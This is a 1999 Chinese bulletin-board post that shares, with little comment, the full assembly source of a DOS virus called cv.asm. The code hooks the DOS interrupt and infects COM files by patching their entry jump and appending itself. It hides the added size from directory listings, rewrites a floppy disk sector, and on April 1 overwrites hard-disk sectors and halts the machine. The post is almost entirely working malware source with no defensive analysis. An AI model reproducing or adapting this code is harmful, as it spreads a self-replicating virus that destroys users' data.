cv.asm.txt

網絡安全方面的書籍,非常好,本人從事嵌入linux以及網絡方面的研究

发信人: biff (大可), 信区: Security 
标  题: cv.asm 
发信站: 武汉白云黄鹤站 (Mon May 31 17:49:15 1999), 站内信件 
  
  
  一点小东西，供大家自行领会 
  
        PAGE    60,132 
; 
XSEG    SEGMENT 
;       Seg=01387H 
;       Org=00000H 
        ASSUME CS:XSEG 
XPROC   PROC FAR 
        JMP     L6551 
        DEC     BX 
        PUSH    BX 
        PUSH    CX 
        CALL    L0009 
L0009:  POP     SI 
        SUB     SI,+09H 
        PUSH    SI 
        CLD 
        MOV     DI,0100H 
        MOV     CX,0005H 
        MOVSB 
        JMP     L01CE 
L001A:  PUSHF 
        PUSH    CS 
        CALL    WORD PTR CS:[08C0H] 
        DB      0C3H; RET 
        STI 
        CMP     AH,4BH 
        JE      L0061 
        CMP     AH,11H 
        JE      L0035 
        CMP     AH,12H 
        JE      L0035 
        JMP     L01C0 
L0035:  CALL    L001A 
        PUSH    AX 
        PUSH    BX 
        PUSH    ES 
        MOV     AH,2FH 
        CALL    L001A 
        MOV     AX,534BH 
        CMP     ES:[BX+1EH],AX 
        JNE     L0050 
        MOV     AX,0254H 
        SUB     ES:[BX+24H],AX 
L0050:  POP     ES 
        POP     BX 
        POP     AX 
        RET     0002H; 0CAH 
L0056:  MOV     BX,0F200H 
        MOV     CX,0001H 
        MOV     DH,00H 
        INT     13H 
        DB      0C3H; RET 
L0061:  PUSHF 
        PUSH    SS 
        PUSH    AX 
        PUSH    BX 
        PUSH    CX 
        PUSH    DX 
        PUSH    DS 
        PUSH    ES 
        PUSH    SI 
        PUSH    DI 
        XOR     AX,AX 
        MOV     DS,AX 
        MOV     DI,DS:[0194H] 
        MOV     ES,DS:[0196H] 
        MOV     AX,WORD PTR DS:[004CH] 
        MOV     BX,DS:[004EH] 
        MOV     CX,0F000H 
        MOV     DX,0EC59H 
        MOV     DS:[0100H],DX 
        MOV     DS:[0102H],CX 
        MOV     WORD PTR DS:[0198H],AX 
        MOV     DS:[019AH],BX 
        MOV     DS:[004CH],DI 
        MOV     DS:[004EH],ES 
        PUSH    CS 
        POP     DS 
        PUSH    CS 
        POP     ES 
        MOV     AH,19H 
        CALL    L001A 
        CMP     AL,01H 
        JNBE    L00BB 
        MOV     DL,AL 
        MOV     AX,0201H 
        CALL    L0056 
        MOV     AX,0301H 
        CALL    L0056 
        CMP     AH,00H 
        JNE     L00D0 
L00BB:  MOV     AH,2AH 
        CALL    L001A 
        CMP     DX,0401H 
        JNE     L00D3 
        MOV     AX,030FH 
        MOV     DL,80H 
        CALL    L0056 
        CLI 
        HLT 
L00D0:  JMP     L01A4 
L00D3:  MOV     AH,2FH 
        CALL    L001A 
        MOV     CS:[08B0H],ES 
        MOV     CS:[08B2H],BX 
        MOV     AH,4EH 
        MOV     DX,0BD5H 
        MOV     CX,0000H 
        CALL    L001A 
        JB      L00D0 
L00EF:  MOV     AX,534BH 
        CMP     ES:[BX+16H],AX 
        JNE     L0101 
L00F8:  MOV     AH,4FH 
        CALL    L001A 
        JB      L00D0 
        JMP     SHORT L00EF 
L0101:  MOV     CX,05DCH 
        CMP     ES:[BX+1AH],CX 
        JBE     L00F8 
        PUSH    ES 
        POP     DS 
        MOV     AX,3D02H 
        MOV     DX,BX 
        ADD     DX,+1EH 
        CALL    L001A 
        MOV     WORD PTR CS:[0C65H],AX 
        MOV     BX,AX 
        PUSH    CS 
        POP     DS 
        MOV     AH,3FH 
        MOV     DX,0A10H 
        MOV     CX,0005H 
        CALL    L001A 
        MOV     DX,5A4DH 
        CMP     DS:[0A10H],DX 
        JE      L019A 
        MOV     DI,0C67H 
        MOV     AL,0E9H 
        MOV     [DI],AL 
        INC     DI 
        MOV     BX,DS:[08B2H] 
        MOV     CX,ES:[BX+1AH] 
        INC     CX 
        INC     CX 
        MOV     [DI],CX 
        INC     DI 
        INC     DI 
        MOV     AX,534BH 
        MOV     [DI],AX 
        MOV     BX,CS:[0C65H] 
        MOV     AX,4200H 
        XOR     CX,CX 
        XOR     DX,DX 
        CALL    L001A 
        MOV     AH,40H 
        MOV     DX,0C67H 
        MOV     CX,0005H 
        CALL    L001A 
        MOV     AX,4202H 
        XOR     CX,CX 
        XOR     DX,DX 
        CALL    L001A 
        PUSH    CS 
        POP     DS 
        MOV     BX,CS:[0C65H] 
        MOV     AH,40H 
        MOV     DX,0A10H 
        MOV     CX,0254H 
        CALL    L001A 
        JB      L019A 
        MOV     BX,CS:[0C65H] 
        MOV     AX,5700H 
        CALL    L001A 
        MOV     AX,5701H 
        MOV     CX,534BH 
        CALL    L001A 
L019A: 
        MOV     BX,CS:[0C65H] 
        MOV     AH,3EH 
        CALL    L001A 
L01A4:  XOR     AX,AX 
        MOV     DS,AX 
        MOV     AX,WORD PTR DS:[0198H] 
        MOV     BX,DS:[019AH] 
        MOV     WORD PTR DS:[004CH],AX 
        MOV     DS:[004EH],BX 
        POP     DI 
        POP     SI 
        POP     ES 
        POP     DS 
        POP     DX 
        POP     CX 
        POP     BX 
        POP     AX 
        POP     SS 
        POPF 
L01C0: 
        JMP     WORD PTR CS:[08C0H] 
        SUB     CH,DS:[6F63H] 
        DB      6DH 
        ADD     [BX+SI+0CF03H],DH 
L01CE:  MOV     AX,0070H 
        MOV     ES,AX 
        MOV     DI,0000H 
        MOV     AX,80FBH 
L01D9:  CLD 
        MOV     CX,0FFFFH 
        SCASW 
        JE      L01E6 
        MOV     DI,0001H 
        JMP     SHORT L01D9 
L01E6:  MOV     BX,02FCH 
        CMP     ES:[DI],BX 
        JNE     L01DD 
        DEC     DI 
        DEC     DI 
        XOR     AX,AX 
        MOV     DS,AX 
        MOV     DS:[0194H],DI 
        MOV     DS:[0196H],ES 
        MOV     ES,DS:[009EH] 
        MOV     BX,DS:[00A0H] 
        PUSH    CS 
        POP     DS 
        MOV     DX,BP 
        MOV     BP,DS 
        POP     SI 
        PUSH    SI 
        MOV     DI,0A10H 
        MOV     CX,0255H 
        MOVSB 
        PUSH    ES 
        LEA     DI,[BX+1BH] 
        MOV     AL,0E9H 
        STOSB 
        MOV     AX,0A30H 
        SUB     AX,DI 
        STOSW 
        MOV     AX,9090H 
        STOSW 
        STOSW 
        MOV     ES:[08C0H],DI 
        MOV     AX,SS 
        SUB     AX,0018H 
        CLI 
        MOV     SS,AX 
        PUSH    CS 
        POP     SS 
        STI 
        MOV     DS,BP 
        MOV     BP,DX 
        POP     ES 
        PUSH    CS 
        POP     ES 
        POP     SI 
        POP     CX 

        XOR     DX,DX 
        XOR     SI,SI 
        XOR     AX,AX 
        XOR     BX,BX 
        MOV     DI,0100H 
        JMP     DI 
        DEC     BP 
        DB      69H 
        DB      6CH 
        DB      65H 
        DB      6EH 
        DB      61H 
        AND     [BP+DI+02H],CL 
XPROC   ENDP 
XSEG    ENDS 
        END 
  
  
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